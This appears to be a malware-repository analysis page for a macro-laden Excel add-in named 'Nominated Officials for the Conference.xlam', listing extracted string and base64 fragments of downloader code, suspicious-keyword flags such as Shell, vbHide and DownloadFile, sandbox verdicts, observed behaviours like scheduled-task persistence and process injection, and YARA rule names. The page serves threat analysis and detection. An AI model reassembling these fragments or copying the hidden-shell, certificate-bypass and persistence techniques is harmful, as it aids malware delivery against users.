String	System.IO.Path.GetEx	C5HZXRFeHRlbnNpb24oZmlsZXBh
String	int	SAxOw0KICAgICAgICAgICAgICAg
String	.Path.Combinnumb w	3lzdGVtLklPLlBhdGguQ29tYmlu
String	new System.Timers.Ti //var //void dohangedEventAr //	nMuVGltZXIobmV3IFRpbWVTcGFu
String	//	CAgICB0aW1lci5TdG9wKCk7DQog
String	if /	XNDaGFuZ2VkKQ0KICAgICAgICAv
String	//fals	HJvZ3Jlc0NoYW5nZWQgPSBmYWxz
String	// //els	CAgIC8vICAgICAgICAgICAgZWxz
String	// //	CAgLy8gICAgICAgICAgICAgICAg
String	//tcs.TrySe	CAgICAgICAgICAgdGNzLlRyeVNl
String	client.DownloadProgressChanged	25sb2FkUHJvZ3Jlc3NDaGFuZ2Vk
String	//client.Dis	CAgICAgICAgICBjbGllbnQuRGlz
String	//timerH	WVyLkVsYXBzZWQgLT0gdGltZXJI
String	// //string filePath	CAgLy8gc3RyaW5nIGZpbGVQYXRo
String	//try //	CAgdHJ5DQogICAgICAgIC8vICAg
String	//client.DownloadProgressC //time //time	W50LkRvd25sb2FkUHJvZ3Jlc3ND
String	//await client.Downloa	GF3YWl0IGNsaWVudC5Eb3dubG9h
String	//finally	CAgIGZpbmFsbHkNCiAgICAgICAg
String	//return tcs.Tr //	CAgICAgICByZXR1cm4gdGNzLlRy
String	estProcess.StartInfo.UseShellExec	GFydEluZm8uVXNlU2hlbGxFeGVj
String	requestProcess.StartInforequestProces	WVzdFByb2Nlc3MuU3RhcnRJbmZv
String	ess.StartInfo.Create	kNyZWF0ZU5vV2luZG93ID0gdHJ1
String	//Degitjkg:	GVMaW5lKCJnamZka2dpdGprZzog
String		CBzd2l0Y2ggKHN0cmxpc3RbMl0p
String	sment.SpecialFo breca	CAgICAgICAgICAgICAgICAgICBz
String	vironment.GetFolderP	m9sZGVyUGF0aChFbnZpcm9ubWVu
String	Environment.GetFo	CA9IEVudmlyb25tZW50LkdldEZv
String	.SpecialFolder.Templ	i5UZW1wbGF0ZXMpICsgIlxcIjsN
String	defau	CAgICAgICAgICAgICAgIGRlZmF1
String	ifEnvironment.Get	GF0aCA9PSAiIikNCiAgICAgICAg
String	nt.SpecialFolder.AppServicePoi	GVyLkFwcGxpY2F0aW9uRGF0YSkg
String	ificateValidationCal	GlvbkNhbGxiYWNrID0gZGVsZWdh
String	ServicePointMa	CAgICAgIFNlcnZpY2VQb2ludE1h
String	lType.Tl	SecurityProtoco
String	lType.Tls	SecurityProtoco
String	lType.Ssl3	SecurityProtoco
String	XQ8Cwooi2cF6Aq2zZTAN	TJ6WlRBTm0rY2hEMWZwNUk2c3c4
String	am47qhPZ7iczs5nXVWiCBaclK8lvA7sLZH	W5YVldpQ0JhY2xLOGx2QTdzTFpI
String	5tT89s1EgnbRV8oIXPj5	G9JWFBqNWYrYWdaRUszWmtuaU0y
String	CyKO/e2DGKxLPwVSf5nb	1ZTZjVuYll4ZkYzUT09Iik7IC8v
String	string requestedFile	mVxdWVzdGVkRmlsZSA9IGZuYW1l
String	you want from server	XJ2ZXINCg0KICAgICAgICAgICAg
String	usingusing Systemusingus	3N0aWNzOw0KdXNpbmcgU3lzdGVt
String	try	CB0cnkNCiAgICAgICAgICAgICAg
String	usingusing System.	kh0dHA7DQp1c2luZyBTeXN0ZW0u
String	// Send filenameas f	y8gU2VuZCBmaWxlbmFtZSBhcyBm
String	var form	CAgICAgICAgICAgIHZhciBmb3Jt
String	using System.Text.Reusing	kV4cHJlc3Npb25zOw0KdXNpbmcg
String	DataContent	CAgICAgICAgICAgICAgICAgICB7
String	using System.Threadiname	HJlYWRpbmcuVGFza3M7DQpuYW1l
String	structIMAGE_DOS_HEADER public	CAgew0KICAgICAgICBwdWJsaWMg
String	// Magic number public ush	g0KICAgICAgICBwdWJsaWMgdXNo
String	get filename fromContent-Dispositio	20gQ29udGVudC1EaXNwb3NpdGlv
String	Bytes on last pageof file	GFnZSBvZiBmaWxlDQogICAgICAg
String	// Pages in file p	XMgaW4gZmlsZQ0KICAgICAgICBw
String	// Relocations publi	XRpb25zDQogICAgICAgIHB1Ymxp
String	// p_globle	CAgICAgICAgIC8vIHBfZ2xvYmxl
String	// Size of header inparagraphs	WFkZXIgaW4gcGFyYWdyYXBocw0K
String	Headers.ContentDisposition.FileNam	nREaXNwb3NpdGlvbi5GaWxlTmFt
String	tent.Headers.Content	29udGVudERpc3Bvc2l0aW9uICE9
String	public// M	G9ydCBlX21heGFsbG9jOyAvLyBN
String	Content.Headers.C	nNlLkNvbnRlbnQuSGVhZGVycy5D
String	paragraphs needed publicushortSS value pu	CAgICAgIHB1YmxpYyB1c2hvcnQg
String	fileNam	CAgICAgICAgICAgICBmaWxlTmFt
String	// Initial SP value p	CBTUCB2YWx1ZQ0KICAgICAgICBw
String	// Checksum public u	3VtDQogICAgICAgIHB1YmxpYyB1
String	ntent.Headers.ContentDisposition.F	kNvbnRlbnREaXNwb3NpdGlvbi5G
String	Initial IP value public	Wx1ZQ0KICAgICAgICBwdWJsaWMg
String	p_gl	CAgICAgICAgICAgICAgICBwX2ds
String	// Initial	GF0aXZlKSBDUyB2YWx1ZQ0KICAg
String	Save the responsestream to disk	G9uc2Ugc3RyZWFtIHRvIGRpc2sN
String	public// Ove	nQgZV9vdm5vOyAgICAgLy8gT3Zl
String	public uintRese	V9yZXMxOyAgICAgICAvLyBSZXNl
String	SystfileBy	mZlci5CbG9ja0NvcHkoZmlsZUJ5
String	public uintReserved	CAgICAgIC8vIFJlc2VydmVkDQog
String	File	UFsbEJ5dGVzKHBfZ2xvYmxlMSwg
String	public// OEM	nQgZV9vZW1pbmZvOyAgLy8gT0VN
String	ystem.IO.Path.Change	kNoYW5nZUV4dGVuc2lvbihwX2ds
String	e_oemid specific public uinte_	CAgICAgIHB1YmxpYyB1aW50IGVf
String	mkbpDgeaIbETxENCwM1K	U5Dd00xS1E9PSIpKTsNCiAgICAg
String	Reserved public uint	HVibGljIHVpbnQgZV9yZXM0OyAg
String	code	CAgICAgICAgICAgICAgIGNvZGUg
String	public uint	WludCBlX3JlczU7ICAgICAgIC8v
String	else	CBlbHNlDQogICAgICAgICAgICAg
String	//else	CAgICAgICAgICB7DQogICAgICAg
String	public uintReserv	mVzNjsgICAgICAgLy8gUmVzZXJ2
String	structIMAGE_FILE_HEADER p	EVSDQogICAgew0KICAgICAgICBw
String	7iczs5nXVWiCBaclK8lvA7sLZHiC1to413	WNsSzhsdkE3c0xaSGlDMXRvNDEz
String	staticpublic void try	2lkIGl5dXRpZXJqayhzdHJpbmcg
String	publicushort SizeOfOptiona	HVzaG9ydCBTaXplT2ZPcHRpb25h
String	ServicePointManager.Serv	mljZVBvaW50TWFuYWdlci5TZXJ2
String	publicushort stru	GFyYWN0ZXJpc3RpY3M7DQogICAg
String	ServicePointManager.Expect100C	W50TWFuYWdlci5FeHBlY3QxMDBD
String	ADER32 public usho	QogICAgICAgIHB1YmxpYyB1c2hv
String	ServicePointManager.S	2VydmljZVBvaW50TWFuYWdlci5T
String	public byte	m9yTGlua2VyVmVyc2lvbjsNCiAg
String	curityProtocolType.Tls	FR5cGUuVGxzDQogICAgICAgICAg
String	public uintSizeOfInitialize	WludCBTaXplT2ZJbml0aWFsaXpl
String	ityProtocolType.Tls11	GUuVGxzMTENCiAgICAgICAgICAg
String	public uintSizeOfUninitializedD	lVuaW5pdGlhbGl6ZWREYXRhOw0K
String	tyProtocolType.Tls12	S5UbHMxMg0KICAgICAgICAgICAg
String	Encoding.UTF8.GetByt	kdldEJ5dGVzKHp4YSkpOw0KDQog
String	--axxyyuiyt---------	i0tYXh4eXl1aXl0LS0tLS0tLS0t
String	MajorOperatingSystem	mdTeXN0ZW1WZXJzaW9uOw0KICAg
String	DateTime.Now.Ticks.T	Glja3MuVG9TdHJpbmcoIngiKTsN
String	inorOperatingSystemV	3lzdGVtVmVyc2lvbjsNCiAgICAg
String	request.ContentType	HlwZSA9IGdqZmRrZ2l0amtnKCIz
String	publicushortMinorSubsystemV	2hvcnQgTWlub3JTdWJzeXN0ZW1W
String	zIx/iUIqmWuo5pKgTYkEX/fUbu55IOX1q2	EtnVFlrRVgvZlVidTU1SU9YMXEy
String	public uint publ	WNrU3VtOw0KICAgICAgICBwdWJs
String	publicushort DllCharact	GljIHVzaG9ydCBEbGxDaGFyYWN0
String	//string formgHbD3WvXlxzFiv	CAgICAgICAvL3N0cmluZyBmb3Jt
String	public uint pub	XJGbGFnczsNCiAgICAgICAgcHVi
String	Encoding.ASCII.	GVyID0gRW5jb2RpbmcuQVNDSUku
String	izeOfInitializedData pub	mVkRGF0YTsNCiAgICAgICAgcHVi
String	public	Ck7DQogICAgICAgICAgICAgICAg
String	ushort MajorOperatin	XRpbmdTeXN0ZW1WZXJzaW9uOw0K
String	//Initia while	Gl6ZUNvbXBvbmVudCgpOw0KICAg
String	ushort MinorOperatin	W5nU3lzdGVtVmVyc2lvbjsNCiAg
String	HuoLAYhYHSz6HT	WFkLlNsZWVwKHJkLk5leHQoMSwg
String	4NBtR4NJUu3WVDBxSsQmWBWLYTQhhLbI7t	EJ4U3NRbUdobVpUMFhSaHVsdz0i
String	publicushort MinorSubsyst	yB1c2hvcnQgTWlub3JTdWJzeXN0
String	nt.GetEnvironmentVar	WVudFZhcmlhYmxlKGdqZmRrZ2l0
String	public uint p	ENoZWNrU3VtOw0KICAgICAgICBw
String	public ulong	yBTaXplT2ZTdGFja1Jlc2VydmU7
String	ServerCertificateValidationCallbac Serv	2F0ZVZhbGlkYXRpb25DYWxsYmFj
String	ager.SecurityProtoco	HJvdG9jb2wgPSBTZWN1cml0eVBy
String	IMAGE_FILE_HEADER struc	EZpbGVIZWFkZXI7DQogICAgfQ0K
String	publicIMAGE_FILE_HEADER	EVBREVSIEZpbGVIZWFkZXI7DQog
String	wdvGYiv/k1y9oL	SecurityProtoco
String	OPTIONAL_HEADER32	VIzMiBPcHRpb25hbEhlYWRlcjsN
String	IMAGE_NT_HEADERS64 public ui	HsNCiAgICAgICAgcHVibGljIHVp
String	WiCBaclK8lvA7sLZHiC1to413bIeL/tTS3	0xaSGlDMXRvNDEzYkllTC90VFMz
String	publicIMAGE_FILE_HEADERFileHe	0VfRklMRV9IRUFERVIgRmlsZUhl
String	public IMAGE_OPTIONAL_HEADER64Optional public classCoyoteMaths p	kFMX0hFQURFUjY0IE9wdGlvbmFs
String	CruEYZK9MCg5HlPIB4gT32xVNCJF1UvtkA	FBJQjRnVDMyeFZOQ0pGMVV2dGtB
Suspicious	Environ	May read system environment variables
Suspicious	Open	May open a file
Suspicious	Write	May write to a file (if combined with Open)
Suspicious	Binary	May read or write a binary file (if combinedwith Open)
Suspicious	ADODB.Stream	May create a text file
Suspicious	SaveToFile	May create a text file
Suspicious	Shell	May run an executable file or a systemcommand
Suspicious	vbHide	May run an executable file or a systemcommand
Suspicious	CreateObject	May create an OLE object
Suspicious	Windows	May enumerate application windows (ifcombined with Shell.Application object)
Suspicious	System	May run an executable file or a systemcommand on a Mac (if combined withlibc.dylib)
Suspicious	Environment	May read system environment variables
Suspicious	Run	May run an executable file or a system
Suspicious	Create	May execute file or a system command through
Suspicious	DownloadFile	May download files from the Internet using
Suspicious	Hex Strings	Hex-encoded strings were detected, may beused to obfuscate strings (option --decode tosee all)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may beused to obfuscate strings (option --decode tosee all)

Intelligence

File Origin

# of uploads :

# of downloads :

135

Origin country :

Vendor Threat Intelligence

Malware family:

n/a

ID:

File name:

Nominated Officials for the Conference.xlam

Verdict:

No threats detected

Analysis date:

2025-10-11 08:30:36 UTC

Tags:

macros macros-on-open

Link:

https://app.any.run/tasks/e3cd9432-cc15-425d-b427-6ae2f8d63fb4

Note:

ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample

Detection:

n/a

Link:

https://www.capesandbox.com/analysis/32406/

Verdict:

Malicious

Score:

96.5%

Link:

https://cyber-fortress.com/docs/result/index.php?id=68ea1533f2ca2f143e41446b

Tags:

autorun office macro micro

Result

Verdict:

Malware

Maliciousness:

Behaviour

Creating a window

Сreating synchronization primitives

Creating a file

Creating a process with a hidden window

Launching a process

Creating a file in the %temp% directory

Launching a process by exploiting the app vulnerability

Unauthorized injection to a system process

Enabling autorun by creating a file

Result

Verdict:

Malicious

File Type:

Excel File with Macro

Link:

https://app.docguard.net/259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207/results/dashboard

Behaviour

BlacklistAPI detected

Verdict:

Malicious

Threat level:

10/10

Confidence:

100%

Tags:

base64 cmd conhost lolbin macros macros-on-open masquerade persistence schtasks

Link:

https://www.filescan.io/uploads/68ea1534fe81c560ba570c20/reports/cfb2df48-35ad-4855-ae63-279a48ac35ee/overview

Verdict:

Malicious

Labled as:

VB.Heur2.EmoDldr.5.8AC20C2D

Link:

https://www.hybrid-analysis.com/sample/259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207

Label:

Malicious

Suspicious Score:

10/10

Score Malicious:

Score Benign:

Link:

https://www.malware.ai/gui/files/?id=12914a42-e216-48ce-9257-b8d8576e0f67

Result

Verdict:

MALICIOUS

Link:

https://labs.inquest.net/dfi/sha256/259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207

Details

Macro with Startup Hook

Detected macro logic that will automatically execute on document open. Most malware contains some execution hook.

Macro with File System Write

Detected macro logic that can write data to the file system.

Document With No Content

Document contains little or no semantic information.

InQuest TF/IDF Classifier

An InQuest machine-learning model classified this macro as potentially malicious.

Macro Contains Suspicious String

Detected a macro with a suspicious string. Suspicious strings include privileged function calls, obfuscations, odd registry keys, etc...

Macro with Hidden Shell

The VBA Shell() command is leveraged by this macro with a window style of '0' or 'vbHide'.

Verdict:

Malicious

File Type:

xlam

First seen:

2025-09-30T07:25:00Z UTC

Last seen:

2025-10-12T03:28:00Z UTC

Hits:

~10

Detections:

HEUR:Trojan-Dropper.Win32.Agent.sb HEUR:Trojan-Downloader.Script.Generic HEUR:Trojan.MSOffice.SAgent.gen HEUR:Trojan.BAT.Miner.gen PDM:Trojan.Win32.Generic HEUR:Trojan.Multi.Miner.gen Trojan.MSOffice.SAgent.sb Trojan.MSIL.Dnoper.sb

Link:

https://opentip.kaspersky.com/259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207/results?tab=lookup

Result

Threat name:

n/a

Detection:

malicious

Classification:

expl.evad

Score:

100 / 100

Link:

https://www.joesandbox.com/analysis/1793319

Signature

Antivirus detection for dropped file

Antivirus detection for URL or domain

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with base64 encoded strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with many string operations indicating source code obfuscation

Document contains VBA stomped code (only p-code) potentially bypassing AV detection

Document exploit detected (process start blacklist hit)

Multi AV Scanner detection for submitted file

Obfuscated command line found

Office process queries suspicious COM object (likely to drop second stage)

Sigma detected: Schedule system process

Sigma detected: Suspicious Microsoft Office Child Process

Uses schtasks.exe or at.exe to add and modify task schedules

Behaviour

Behavior Graph:

Download SVG

Score:

100%

Verdict:

Malware

File Type:

OFFICE

Link:

https://malprob.io/report/259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207

Verdict:

Malware

YARA:

3 match(es)

Tags:

ADODB.Stream Blacklist VBA MSXML2.DOMDocument Office Document

Link:

https://app.malva.re/file/b165b489c5f8c4e136364664502d68f1

Detection:

n/a

Link:

https://mwdb.cert.pl/sample/259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207/

Verdict:

Malicious

Threat:

Trojan.MSIL.Dnoper

Link:

https://tip.neiki.dev/file/259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207

Threat name:

Script-Macro.Trojan.Heuristic

Status:

Malicious

First seen:

2025-09-30 12:18:45 UTC

File Type:

Document

Extracted files:

AV detection:

17 of 38 (44.74%)

Threat level:

2/5

Detection(s):

Suspicious file

Link:

https://check.spamhaus.org/check/?searchterm=ewowyegjh6sponfwvz6pssshr27omhisnc7srpx4acphdvqjwidq._file

Result

Malware family:

n/a

Score:

10/10

Tags:

discovery macro

Link:

https://tria.ge/reports/251011-kdaekazzbt/

Behaviour

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

System Location Discovery: System Language Discovery

Network Share Discovery

Drops startup file

Loads dropped DLL

Process spawned unexpected child process

Verdict:

Suspicious

Tags:

n/a

YARA:

n/a

Link:

https://app.threat.zone/submission/998f1a4c-ee53-4fd7-8875-8ae9d799fdb5

Verdict:

Malicious

Link:

https://www.vmray.com/analyses/_mb/259d6c10c93f/report/overview.html

Please note that we are no longer able to provide a coverage score for Virus Total.

Threat name:

Malicious File

Score:

1.00

Link:

https://yomi.yoroi.company/submissions/259d6c10c93fa4f734b6ae7cf94a478ebee61d1268bf28befc009e71d609b207

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:	Detect_PowerShell_Obfuscation Create hunting rule
Author:	daniyyell
Description:	Detects obfuscated PowerShell commands commonly used in malicious scripts.

Rule name:	FreddyBearDropper Create hunting rule
Author:	Dwarozh Hoshiar
Description:	Freddy Bear Dropper is dropping a malware through base63 encoded powershell scrip.

Rule name:	informational_win_ole_protected Create hunting rule
Author:	Jeff White (karttoon@gmail.com) @noottrak
Description:	Identify OLE Project protection within documents.

Rule name:	NET Create hunting rule
Author:	malware-lu

Rule name:	vbaproject_bin Create hunting rule
Author:	CD_R0M_
Description:	{76 62 61 50 72 6f 6a 65 63 74 2e 62 69 6e} is hex for vbaproject.bin. Macros are often used by threat actors. Work in progress - Ran out of time

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Cape

https://www.capesandbox.com/analysis/32406/

Comments

Login required

You need to login to in order to write a comment. Login with your abuse.ch account.

No comments found for this malware sample